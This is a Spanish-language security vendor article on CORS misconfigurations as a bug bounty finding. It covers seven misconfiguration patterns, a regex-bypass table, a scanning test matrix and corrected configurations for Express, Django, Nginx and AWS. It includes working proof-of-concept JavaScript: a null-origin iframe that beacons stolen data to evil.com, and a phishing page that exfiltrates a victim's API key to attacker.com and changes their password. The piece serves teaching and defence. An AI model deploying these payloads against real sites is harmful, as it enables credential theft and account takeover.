Investigación 3 de abril de 2026 · 16 min de lectura

Configuración incorrecta de CORS: el hallazgo de bug bounty más común en 2026

Las configuraciones incorrectas de Cross-Origin Resource Sharing representan el 23 % de todos los hallazgos aceptados en programas de bug bounty de aplicaciones web en 2026, más que XSS, IDOR y SSRF juntos. A pesar de estar ampliamente documentado desde 2016, CORS sigue siendo la clase de vulnerabilidad en la que los desarrolladores se equivocan con mayor frecuencia. Este análisis exhaustivo aborda todos los patrones de configuración incorrecta, muestra escenarios reales de explotación con código PoC funcional y ofrece soluciones listas para producción para todos los principales frameworks y proveedores de nube.


Por qué CORS sigue dominando en 2026

La paradoja de CORS es que es, al mismo tiempo, uno de los mecanismos de seguridad más documentados y peor configurados de la web. Tres factores explican por qué sigue encabezando las estadísticas una década después de las primeras divulgaciones importantes:

📊 Las cifras (primer trimestre de 2026): El informe trimestral de HackerOne muestra que las configuraciones incorrectas de CORS representaron el 23,1 % de los hallazgos aceptados en aplicaciones web, seguidas por el control de acceso roto (18,7 %), XSS (14,2 %), IDOR (11,8 %) y SSRF (8,4 %). La recompensa promedio por un hallazgo de CORS con impacto demostrado fue de 2340 dólares, un 45 % más que en 2025, a medida que los programas reconocen cada vez más su potencial real de explotación.

Los siete patrones de configuración incorrecta de CORS

No todas las configuraciones incorrectas de CORS son iguales. Estos son los siete patrones que los investigadores de bug bounty encuentran con mayor frecuencia, clasificados por gravedad y facilidad de explotación:

Patrón 1: reflexión del origen (crítico)

El servidor refleja ciegamente la cabecera de solicitud Origin en la cabecera de respuesta Access-Control-Allow-Origin. Este es el patrón más peligroso porque permite que cualquier sitio web lea respuestas autenticadas de la API vulnerable.

# Solicitud desde un origen controlado por el atacante
GET /api/user/profile HTTP/1.1
Host: api.target.com
Origin: https://evil.com
Cookie: session=abc123

# Respuesta vulnerable: refleja el origen del atacante
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"email":"user@company.com","api_key":"sk-prod-..."}

⚠ Por qué esto es crítico

Cuando Access-Control-Allow-Credentials: true se combina con la reflexión del origen, el sitio web de un atacante puede realizar solicitudes autenticadas entre orígenes y leer la respuesta, incluidos tokens de sesión, claves de API, PII y cualquier otro dato al que pueda acceder el navegador de la víctima. Esto elude por completo la política del mismo origen.

Patrón 2: inclusión del origen nulo en la lista de permitidos (alto)

Algunos servidores permiten explícitamente el origen null, ya sea por una configuración incorrecta o por una interpretación equivocada. Los navegadores envían el origen null en varios contextos: iframes aislados, URL data:, acceso a archivos locales y redirecciones entre orígenes.

# El atacante sirve esta página HTML
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,
  <script>
    fetch('https://api.target.com/api/user/data', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(d => {
      // Exfiltrar al servidor del atacante
      navigator.sendBeacon('https://evil.com/collect', JSON.stringify(d));
    });
  </script>">
</iframe>

Patrón 3: evasión de expresiones regulares en la validación del origen (alto)

Los desarrolladores suelen implementar la validación del origen mediante patrones de expresiones regulares que contienen fallos sutiles. Los errores más comunes son:

Origen que se pretende permitir Expresión regular defectuosa Origen que evade la validación
*.target.com /target\.com$/ evil-target.com
app.target.com /^https?:\/\/.*target\.com/ target.com.evil.com
*.target.com /\.target\.com$/ evil.com/.target.com (confusión de ruta)
Solo target.com /target.com/ (punto sin escapar) targetXcom.evil.com

Patrón 4: comodín con credenciales (medio-alto)

Aunque los navegadores impiden que Access-Control-Allow-Origin: * se combine con Access-Control-Allow-Credentials: true, muchos frameworks del lado del servidor eluden esta restricción detectando la combinación y cambiando silenciosamente a la reflexión del origen, lo que crea el patrón 1 por la puerta trasera.

El paquete npm cors (utilizado por el 73 % de las API de Node.js) hace exactamente esto cuando se configura con origin: true y credentials: true. Los desarrolladores que creen estar estableciendo un comodín en realidad están habilitando la reflexión completa del origen.

Patrón 5: envenenamiento de la caché de solicitudes preliminares (medio)

La cabecera Access-Control-Max-Age indica a los navegadores durante cuánto tiempo deben almacenar en caché las respuestas preliminares (OPTIONS). Si un servidor devuelve cabeceras CORS permisivas para una ruta de solicitud y restrictivas para otra, un atacante puede obligar al navegador a almacenar en caché la respuesta preliminar permisiva y reutilizarla posteriormente en endpoints restringidos.

Patrón 6: escalada de confianza entre subdominios (medio)

Muchas aplicaciones permiten CORS desde todos los subdominios: *.target.com. Esto crea una relación de confianza transitiva en la que cualquier XSS en cualquier subdominio, incluidos entornos de staging olvidados, aplicaciones heredadas o subdominios alojados por terceros, puede aprovecharse para atacar la API de la aplicación principal.

🎯 Consejo para bug bounty

Cuando encuentres una política CORS que confíe en *.target.com, enumera inmediatamente los subdominios y busca XSS en cualquiera de ellos, especialmente en sitios de marketing, páginas de estado, portales de documentación y herramientas de atención al cliente. Un XSS reflejado en blog.target.com, combinado con la confianza CORS en los subdominios, proporciona acceso completo a los datos de api.target.com. Esta cadena recibe habitualmente clasificaciones de gravedad alta o crítica.

Patrón 7: ausencia de la cabecera Vary: Origin (bajo-medio)

Cuando un servidor establece dinámicamente Access-Control-Allow-Origin según el origen de la solicitud, también debe incluir Vary: Origin. Sin ella, las cachés de CDN y de los navegadores pueden servir una respuesta con las cabeceras CORS de un origen a una solicitud procedente de otro, lo que provoca fallos intermitentes en el control de acceso.

Explotación en el mundo real: escenario de ataque paso a paso

Este es un escenario completo de explotación que demuestra cómo una configuración incorrecta de CORS conduce a la toma de control de una cuenta:

El objetivo

Una aplicación fintech en app.fintech-target.com con una API en api.fintech-target.com. La API proporciona datos del perfil del usuario, incluidos el correo electrónico, el número de teléfono y las claves de API utilizadas para operaciones automatizadas.

La vulnerabilidad

La API utiliza la reflexión del origen (patrón 1) con las credenciales habilitadas. El endpoint /api/v2/account/settings devuelve la clave de API del usuario y permite cambiar la contraseña mediante una solicitud PUT.

El exploit

<!-- Alojado en attacker.com y enlazado mediante un correo de phishing -->
<html>
<body>
<h1>Cargando el análisis de su cartera...</h1>
<script>
// Paso 1: robar la clave de API y los datos del usuario
fetch('https://api.fintech-target.com/api/v2/account/settings', {
  credentials: 'include'
})
.then(r => r.json())
.then(async (data) => {
  // Paso 2: exfiltrar al servidor del atacante
  await fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      email: data.email,
      api_key: data.api_key,
      phone: data.phone
    })
  });

  // Paso 3: cambiar la contraseña del usuario
  await fetch('https://api.fintech-target.com/api/v2/account/settings', {
    method: 'PUT',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      password: 'attacker-controlled-password-2026!'
    })
  });

  // Paso 4: redirigir al sitio legítimo para evitar sospechas
  window.location = 'https://app.fintech-target.com/dashboard';
});
</script>
</body>
</html>

El ataque completo se ejecuta en menos de 500 ms. La víctima ve brevemente una pantalla de carga y, después, su panel habitual. Mientras tanto, el atacante ya posee su clave de API y ha cambiado su contraseña.

Detección: cómo encontrar configuraciones incorrectas de CORS a escala

Escaneo automatizado

Un escaneo eficaz de CORS requiere probar múltiples variaciones del origen en cada endpoint que devuelva cabeceras CORS. Esta es la matriz de pruebas:

Caso de prueba Valor de la cabecera Origin Es vulnerable si se refleja
Reflexión completa https://evil.com Sí: se acepta cualquier origen
Origen nulo null Sí: evasión mediante iframe aislado
Abuso de subdominios https://evil.target.com Sí: si coincide con el patrón de subdominios
Evasión por prefijo https://target.com.evil.com Sí: fallo en la expresión regular
Evasión por sufijo https://evil-target.com Sí: falta un anclaje en la expresión regular
Degradación del protocolo http://target.com Sí: si no se exige HTTPS
Caracteres especiales https://target.com%60.evil.com Sí: discrepancia entre analizadores

Herramientas especializadas

Soluciones listas para producción

Node.js / Express

const cors = require('cors');

// ❌ INCORRECTO: refleja cualquier origen
app.use(cors({ origin: true, credentials: true }));

// ✅ CORRECTO: lista de permitidos explícita
const allowedOrigins = [
  'https://app.yoursite.com',
  'https://admin.yoursite.com'
];

app.use(cors({
  origin: (origin, callback) => {
    // Permitir solicitudes sin origen (aplicaciones móviles, curl, etc.)
    if (!origin) return callback(null, true);
    if (allowedOrigins.includes(origin)) {
      return callback(null, true);
    }
    callback(new Error('Infracción de la política CORS'));
  },
  credentials: true,
  maxAge: 600, // Caché de solicitud preliminar de 10 minutos
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization']
}));

Python / Django

# settings.py

# ❌ INCORRECTO
CORS_ALLOW_ALL_ORIGINS = True

# ✅ CORRECTO
CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [
    "https://app.yoursite.com",
    "https://admin.yoursite.com",
]
CORS_ALLOW_CREDENTIALS = True
CORS_PREFLIGHT_MAX_AGE = 600

Nginx

# ❌ INCORRECTO: refleja la cabecera Origin
add_header 'Access-Control-Allow-Origin' $http_origin always;

# ✅ CORRECTO: lista de permitidos basada en map
map $http_origin $cors_origin {
    default "";
    "https://app.yoursite.com" $http_origin;
    "https://admin.yoursite.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin = "") {
            return 403;
        }
        add_header 'Access-Control-Allow-Origin' $cors_origin always;
        add_header 'Access-Control-Allow-Credentials' 'true' always;
        add_header 'Vary' 'Origin' always;

        if ($request_method = 'OPTIONS') {
            add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE';
            add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization';
            add_header 'Access-Control-Max-Age' 600;
            add_header 'Content-Length' 0;
            return 204;
        }
    }
}

AWS API Gateway / CloudFront

# AWS CDK / CloudFormation
CorsConfiguration:
  AllowOrigins:
    - "https://app.yoursite.com"
    - "https://admin.yoursite.com"
  AllowMethods:
    - GET
    - POST
    - PUT
    - DELETE
  AllowHeaders:
    - Content-Type
    - Authorization
  AllowCredentials: true
  MaxAge: 600

# ⚠ ADVERTENCIA: NO utilice AllowOrigins: ["*"] con AllowCredentials: true
# AWS lo convertirá silenciosamente en reflexión del origen

CORS en la era de las arquitecturas API-first

La transición hacia arquitecturas API-first ha cambiado radicalmente el panorama de CORS. En 2020, una aplicación web típica realizaba solicitudes entre orígenes a unos 3-5 servicios. En 2026, las aplicaciones construidas con microservicios, funciones sin servidor e integraciones de API de terceros realizan habitualmente solicitudes entre orígenes a decenas de orígenes.

Esta complejidad está impulsando varias respuestas arquitectónicas:

Lista de comprobación para prevenir configuraciones incorrectas de CORS

Para desarrolladores y equipos de seguridad: verifiquen cada punto en sus aplicaciones:

Conclusiones principales

Escanea ahora tus API en busca de configuraciones incorrectas de CORS

KENSAI detecta automáticamente los siete patrones de configuración incorrecta de CORS en toda la superficie de tus API, incluidas las cadenas de confianza entre subdominios, las evasiones mediante expresiones regulares y las sobrescrituras en la capa de CDN. Obtén los primeros resultados del análisis en minutos, no en días.

Iniciar auditoría gratuita de CORS →

Investigación de KENSAI · 3 de abril de 2026

📚 Artículos relacionados